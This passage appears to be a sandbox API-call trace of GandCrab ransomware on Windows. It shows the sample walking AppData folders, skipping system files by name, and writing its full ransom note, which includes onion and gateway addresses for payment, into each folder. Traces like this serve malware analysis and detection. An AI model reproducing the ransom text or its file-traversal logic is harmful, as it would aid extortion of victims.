powershell\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0054.978] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.978] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0054.979] CloseHandle (hObject=0x504) returned 1 [0054.980] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.980] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\") returned 95 [0054.980] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\*" [0054.980] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b8870 [0054.980] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.980] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.980] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.980] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.980] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.980] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.980] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.980] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini" [0054.980] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.980] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini") returned 106 [0054.980] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini") returned 106 [0054.980] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini") returned 106 [0054.980] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\desktop.ini") returned 106 [0054.980] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0054.980] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.980] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.981] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.981] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.981] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\GDCB-DECRYPT.txt" [0054.981] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.981] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\GDCB-DECRYPT.txt") returned 111 [0054.981] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\GDCB-DECRYPT.txt") returned 111 [0054.981] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\GDCB-DECRYPT.txt") returned 111 [0054.981] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\GDCB-DECRYPT.txt") returned 111 [0054.981] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.981] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.981] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.981] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.981] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.981] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.981] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.981] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.981] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.981] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.981] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.981] lstrcmpW (lpString1="Windows PowerShell (x86).lnk", lpString2=".") returned 1 [0054.981] lstrcmpW (lpString1="Windows PowerShell (x86).lnk", lpString2="..") returned 1 [0054.981] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\", lpString2="Windows PowerShell (x86).lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk" [0054.981] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.981] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk") returned 123 [0054.981] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell (x86).lnk") returned 123 [0054.981] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.981] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.982] lstrcmpW (lpString1="Windows PowerShell ISE (x86).lnk", lpString2=".") returned 1 [0054.982] lstrcmpW (lpString1="Windows PowerShell ISE (x86).lnk", lpString2="..") returned 1 [0054.982] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\", lpString2="Windows PowerShell ISE (x86).lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" [0054.982] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.982] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk") returned 127 [0054.982] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk") returned 127 [0054.982] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.982] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.982] lstrcmpW (lpString1="Windows PowerShell ISE.lnk", lpString2=".") returned 1 [0054.982] lstrcmpW (lpString1="Windows PowerShell ISE.lnk", lpString2="..") returned 1 [0054.982] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\", lpString2="Windows PowerShell ISE.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk" [0054.982] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.982] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk") returned 121 [0054.982] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell ISE.lnk") returned 121 [0054.982] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.982] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.982] lstrcmpW (lpString1="Windows PowerShell.lnk", lpString2=".") returned 1 [0054.982] lstrcmpW (lpString1="Windows PowerShell.lnk", lpString2="..") returned 1 [0054.982] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\", lpString2="Windows PowerShell.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk" [0054.982] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.983] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk") returned 117 [0054.983] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Windows PowerShell\\Windows PowerShell.lnk") returned 117 [0054.983] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.983] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0054.983] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.983] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0054.983] FindClose (in: hFindFile=0x5b8af0 | out: hFindFile=0x5b8af0) returned 1 [0054.984] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.984] FindClose (in: hFindFile=0x5b85f0 | out: hFindFile=0x5b85f0) returned 1 [0054.984] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.984] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0054.984] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0054.984] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates" [0054.984] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\" [0054.984] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.984] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.984] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.984] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.984] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.984] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.984] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\") returned 66 [0054.984] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*" [0054.984] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b85f0 [0054.984] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.984] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.984] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.984] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.984] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.985] FindClose (in: hFindFile=0x5b85f0 | out: hFindFile=0x5b85f0) returned 1 [0054.985] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.985] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\\\GDCB-DECRYPT.txt") returned 83 [0054.985] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\templates\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.986] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.986] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.987] CloseHandle (hObject=0x4fc) returned 1 [0054.987] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.987] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\") returned 66 [0054.987] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*" [0054.987] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8870 [0054.987] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.987] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.987] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.987] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.987] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.987] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.987] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.987] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\GDCB-DECRYPT.txt" [0054.988] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.988] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\GDCB-DECRYPT.txt") returned 82 [0054.988] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\GDCB-DECRYPT.txt") returned 82 [0054.988] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\GDCB-DECRYPT.txt") returned 82 [0054.988] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\GDCB-DECRYPT.txt") returned 82 [0054.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.988] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.988] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.988] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.988] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.988] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.988] lstrcmpW (lpString1="Themes", lpString2=".") returned 1 [0054.988] lstrcmpW (lpString1="Themes", lpString2="..") returned 1 [0054.988] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes" [0054.988] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\" [0054.988] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.988] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.988] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.988] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.989] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.989] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.989] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\") returned 63 [0054.989] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*" [0054.989] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b8870 [0054.989] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.989] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.989] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.989] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.989] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.989] lstrcmpW (lpString1="CachedFiles", lpString2=".") returned 1 [0054.989] lstrcmpW (lpString1="CachedFiles", lpString2="..") returned 1 [0054.989] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\", lpString2="CachedFiles" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles" [0054.989] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles") returned 74 [0054.989] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.989] lstrcmpW (lpString1="TranscodedWallpaper", lpString2=".") returned 1 [0054.989] lstrcmpW (lpString1="TranscodedWallpaper", lpString2="..") returned 1 [0054.989] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\", lpString2="TranscodedWallpaper" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper" [0054.989] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper") returned 82 [0054.989] FindNextFileW 